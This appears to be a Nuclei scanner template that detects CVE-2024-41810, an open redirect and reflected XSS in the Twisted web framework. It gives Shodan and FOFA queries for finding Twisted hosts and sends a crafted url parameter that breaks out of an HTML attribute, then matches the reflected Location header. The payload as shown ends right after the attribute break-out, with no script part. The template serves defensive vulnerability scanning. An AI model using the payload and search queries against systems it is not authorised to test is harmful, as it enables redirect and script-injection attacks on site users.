id: CVE-2024-41810 info: name: Twisted - Open Redirect & XSS author: KoYejune0302,cheoljun99,sim4110,gy741 severity: medium description: | Twisted is an event-based framework for internet applications, supporting Python 3.6+. The Twisted web framework's redirectTo function is vulnerable to reflected XSS if an attacker can control the redirect URL. This template tests for an open redirect and XSS vulnerability in the URL parameter. This vulnerability is fixed in 24.7.0rc1. impact: | Attackers can exploit open redirect and reflected XSS via the redirect URL parameter in the Twisted web framework. remediation: | Update Twisted to version 24.7.0rc1 or later. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2024-41810 epss-score: 0.01176 epss-percentile: 0.64284 cpe: cpe:2.3:a:twistedmatrix:twisted:*:*:*:*:*:*:*:* reference: - https://github.com/advisories/GHSA-cf56-g6w6-pqq2 - https://nvd.nist.gov/vuln/detail/CVE-2024-41810 metadata: max-request: 2 shodan-query: html:'Twisted' html:"python" fofa-query: body="twisted" && "python" tags: xss,redirect,twisted,python,vuln flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} redirects: true matchers: - type: word part: response words: - "TWISTED_SESSION" - '["Twisted' internal: true - method: GET path: - '{{BaseURL}}?url=ws://example.com/">' redirects: true matchers-condition: and matchers: - type: word part: response words: - 'Location: ws://example.com/">' - type: word part: header words: - text/html - type: status status: - 302 # digest: 4b0a004830460221009e9747ec531bef0e8951e239dcd2c06c1ade771894f16b1d6f3b86fffb197ddd0221009dc46955e4dbd1de752797b919f5d374e55d523eae46e808df9a54bce4ab3ae0:922c64590222798bb761d5b6d8e72950